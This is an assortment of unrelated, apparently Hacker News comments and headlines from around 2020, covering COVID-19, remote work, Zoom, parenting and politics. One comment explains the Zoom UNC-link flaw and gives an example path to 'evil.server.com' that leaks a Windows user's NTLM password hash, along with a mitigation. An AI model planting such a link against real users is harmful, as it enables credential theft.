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Covid-19 vs. Raspberry Pi: Researchers bring IoT technology to disease detection
> FreeBSD, NetBSD, and OpenBSD today are all still limited to a short, which on current mainstay processors is a signed 16-bit quantity or 32767

Why did they not take advantage of the move to 64-bit to change that? (Or, at the very least, more recent architecture ports like riscv.)
Does this qualify as "wrongful termination"? Is it actually illegal for hospitals to fire medical staff for publicly voicing concerns about lack of PPE? That is what I am wondering.
Is remote work never coming back? I'd love to work at USDS, but I can't relocate to DC.
Yup that is the key. Don't spend too much mental energy on the markets unless you think you found your niche. Invest and do some swing trading and spend most of your mental energy on learning how to create value.

The most immediate value creation for most of us is to just become better developers and better understanders of the requirements of whatever we're developing.
Microsoft announces Microsoft 365, a service to replace personal Office 365
That's the problem. POC is easy. Once you start getting adoption is where the problems start and where you need enterprise-features: user access controls, auditing, SQL-based data observability for troubleshooting, monitoring, alerting, self-service admin, schema management etc etc.
Well, let's say we find a compromise. You're paying for the internet, so you're entitled to set rules as to how people use it. But, if your child wants to pony up to, for example, buy a mobile hotspot, it's up to them to set their own rules for how it's used.

If your 2.5 year old is mature enough to manage that, then yeah, maybe they ought to be able to have unfettered internet access, too.
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How to Improve Your WiFi Speeds When Everyone's Home
While im extremely skeptical of China's numbers (by default it's safer to assume that all known case counts in any country are well off the real numbers of cases that haven't been counted) China did use far harsher measures to stop spread (the biggest, most total quarantine of hundreds of millions of people, applied in just weeks), while the U.S has so far not done that or anything close to it, and was very slow even to react to the extent that it has so far.

This could thus partly be a case of accusing the other side of lying because you look so bad that blame needs to be spread around even if they did things differently to mitigate their situation better (maybe).

Also, China published the vast majority of major case growth/death figures before they (or anyone else really) knew just how bad things would get in Italy, Spain and other countries, yet their mortality rates more or less match a certain global average (they're in fact a bit worse than average) so why would they have lied in such a specific but also partially statistically realistic way? Why not publish less cases and lower death figures if they were going to lie their asses off anyhow?

I don't think they're telling the truth, especially about total known cases and total deaths, but maybe they didn't conceal quite as badly as claimed, and harsher measures partly explain the differences in numbers between the U.S and China.

Most of all though, it's important to know if whatever concealment they did also distorted: 1. claimed mortality RATE, and 2. if the spread of the virus has been more or less contained finally, as they claim it has. These two are the most important things, more important than actual numbers being off by some margin or another.
Petition · iMessage and FaceTime for Android, Windows and Others
Yea.. I’m not fond of the build size on iOS but I don’t know how to shrink it from what it is. On Android at least it’s only ~8 MB.
This is just what I've been looking for, and you beat me to scratching that itch. My job requires granular time tracking, but I've got to be able to do it at my desk and away from the office. As an Android user I can combine this with scrcpy[1] to take advantage of my fast desktop keyboard when I'm sitting down.

[1] https://github.com/Genymobile/scrcpy
Handling Out-of-Vocabulary Words in Natural Language Processing Based on Context
Just because American police have become incredibly militarized and rely on violence and the threat of violence to get their way, doesn't mean it has to be that way.

It's also possible to get people to do things because they respect the authority of the officer. "If this cop says I am being an asshat and should stop, maybe I am being an asshat and should stop." This is what people mean when they talk about soft power.
One key distinction is that this is not yet another templating DSL like Jinja, or Go templates that present an anti-pattern for non-trivial deployments. As an example, take a look at the Grafana Helm chart:

https://github.com/bitnami/charts/blob/master/bitnami/grafan...

It's more curly brackets than YAML :)

Instead, kpt's key design philosophy is to keep configuration as data. This makes it easier to develop tooling that operate on configs.
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Like I said upstream, I am talking about spam. If you want to make shit up and attack that instead, I don't have to be involved, so I'm done with this.
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A brain CT doesn't take 45 minutes though--and a brain MRI doesn't use x-rays.
Not every white person comes from a rich, educated family either. I'm very familiar with this being a white, uneducated, disabled female from the Midwest US with an uneducated, abusive, lower-middle class family.

Meritocracy does literally nothing to aid less privileged people to get ahead. It primarily helps those who started with privilege in the first place which is mostly limited to select groups.
E2E is snake oil at the moment. Nobody has developed a reasonable UX to let people exchange keys, and closed source clients that can be centrally updated render any such encryption pointless. It could be disabled at a moment's notice and you'd never know. I don't blame Zoom for not investing in it.
This is an excellent Twitter thread explaining in detail the problems with providing such a service for """families""" -

https://twitter.com/SarahJamieLewis/status/12453743777570406...
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I think if the space is relatively well optimised, remote working is fantastic.

I suspect, because of Covid-19, a lot of people have just been thrown into remote-working like they've just been thrown into a swimming pool fully clothed.

Not an ideal first experience, but they'll have time to get used to it.

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> with per-compositor "solutions"

Didn't every one agree to use Pipewire for that? Or it's still bikeshedded to death?

Somehow for input, everyone settled on libinput and this didn't become a problem.
"Families" is a dog whistle.
But that's a total lie, isn't it? They can just send your iPhone a public key owned by Apple. Or they can put a backdoor in the app and get you to install an upgrade.
It doesn't matter.

The threat model is: Password is too long, lots of CPU is wasted, denial of service.

By only accepting strings of a certain length, the threat is defeated.

The client could send an intentionally bad password even if they weren't lying. If they lie, only the client is harmed, and in a non-new way.

So this scheme has one notable upside, and no notable downside.

There are better solutions, but this one is valid.
I've not read The Opium of the Intellectuals, but was it talking about postwar French Marxism or Soviet Leninism/Stalinism?
Not to say they shouldn't mitigate it (which should be trivial), but this seems to me like more of a Windows "bug" than a Zoom one.

Basically attacker sends:

\\evil.server.com\img\cat.jpg

Zoom client makes it a clickable link. When clicked, SMB sends your username and NTLM password hash to the remote server (just like it would when connecting to any other file share).

Can be mitigated with a group policy or registry tweak (Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers / RestrictSendingNTLMTraffic) but that can cause side effects (particularly when joined to a domain).

IMO the out-of-box OS behavior ought to ask you before sending any credentials to a strange server - like SSH clients do the first time they connect to a new host. (After all, it's not like you walk down the street advertising your ID to strangers).
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How Dolt stores table data
Like so many ideas that persist, the "strong" form is wrong, and the "weak" form is useful. The parent's point stands.
So when shopping... how do you translate that goal into which products to purchase?
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What clear lesson? Zoom is not in a bad situation right now.
>it's literally doing that.

Literally like North Korea. Right?

I'm going guess you don't have kids. Correct?

>Sure, it may not be the most grievous occurrence of it, but that doesn't change the fact that it is, in fact, policing.

Only if you hate language and you purposely warp definition of commonly understood words and concepts to support your conclusion or ideology. Raising children by imparting morals, and providing structure and constraints is NOT authoritarian policing. Those are two different things.

And though children certainly are humans (who actually claims otherwise?), they are not endowed with the same societal rights and responsibilities that adults are. This is why you can ground a child, but not an adult. Most people understand this distinction instinctively. You, on the other hand, have some trouble there.
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This is one of those ideas which is very easy technically, but quite hard in terms of domain knowledge. If there is any lawyer reading this, please shed some light on this. I guess it would work by asking a series of generic questions and then routing the laid off worker to appropriate lawyer who can then look into it in detail?

Also, what about class action lawsuits? Does that apply here?

This is a great idea, tons of people need something like this, like right now...
Sorry but why was this posted here? This is Hacker news not the national review.
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Show HN: Your website went down last night... Or did it? Set up a monitor
Not everyone; Farmers' markets and CSAs are available, and often quite popular. That said, this is where regulation comes in.
Oh sure, there's very serious problems with orthodox Marxism. It gets somewhat of a pass because all historical communist regimes have started far before capitalism had run its course (which even now it hasn't necessarily). However, the dictatorship of the proletariat is just something I cannot buy ever working out without the revolutionary vanguard just turning into the new masters.

This is a critique that left-anarchists have always had of Marxisms. However, Marxism also has a point that a complete economic overturning is impossible without force, necessitating a vanguard anyway. So, I don't think anyone can remotely say what comes after our economic system.
AI program could check blood for signs of lung cancer
This blog looks strange on a mobile.
They should keep it and encourage those to use it who advocate for backdoors in software.
If a hacker recruits many accomplices to form a bucket brigade to the window, does that then become a distributed defenestration of service attack?
So parents only get to set boundaries in relation to things they pay for? Got to be honest, I'm struggling to take your arguments seriously.
This is awesome. Are there any plans to integrate with device firmware like openwrt?
One of my favorite aspects of Andromeda Strain is the color coded levels of the underground laboratory, that correspond to different target emotional states for the research team (or something like that — it’s been a while).

Watching West World on HBO I’m struck by how they’ve captured some of Crichton’s DNA in both the set design and the kind of hubris corporations have in his books.
> plenty of business owners who would prefer the stabler "lifestyle business"

Is there an opportunity for a new VC or hedge fund to come through and suck up already profitable businesses and ween technology companies off this "hockey stick growth" mentality?
I hate, hate, hate working from home. There are so many distractions, and it messes with my work/life balance in various pernicious ways. Yes, maybe I a more productive - but I am distinctly unhappier and often spend more time working. And our team's quality of work takes a huge hit.

I think the negatives of remote work are way underreported because a) it saves companies a lot of money and b) journalists and influencers are generally a self-selecting minority who prefer working alone.
How about hidden variables?

var allFactor = @[poverty, authoritarianism, bad_health];
foreach(var factor in allFactor)
{
var otherFactors = allFactor.arrayByRemoving(theFactor);
print($"{factor} predicts {otherFactors}");
}
}
If you’re reading this, run. There is no value in these comments.
Very prescient iPad / smart phone prediction there.
They're pretty much all digital: no consumables and no giant filing system are big wins institutionally, and lower exposure is good for the patient too.

Ten years ago, I brought a film over to a hospital, and someone had to pull a dusty, disused lightbox out of the closet so we could look at it. I can only imagine it's become even more electronic since then.
I think The Grand Scheme is the opiate of the intellectuals, and some regimes are friendlier to such schemes than others. If you have a set of top down rules that require your will to be imposed on others, a flatter hierarchy is a bug. A decentralized system like free market capitalism allows many tyrants to flourish, but petty ones in comparison. You want a central authoritarian who can materialize your wishes. Whether that authority is right or left wing is subsidiary. Marxism has just been a convenient vehicle for such schemes, as it has had considerable momentum, and its authoritarianism is somewhat cloaked.

The best antidote for this opiate is probably humility: the awareness that maybe, given the details on the ground, you don't have a one-size-fits-all solution that's better than what people chose for themselves. But many intellectuals seem to have unusual resistance to this medicine.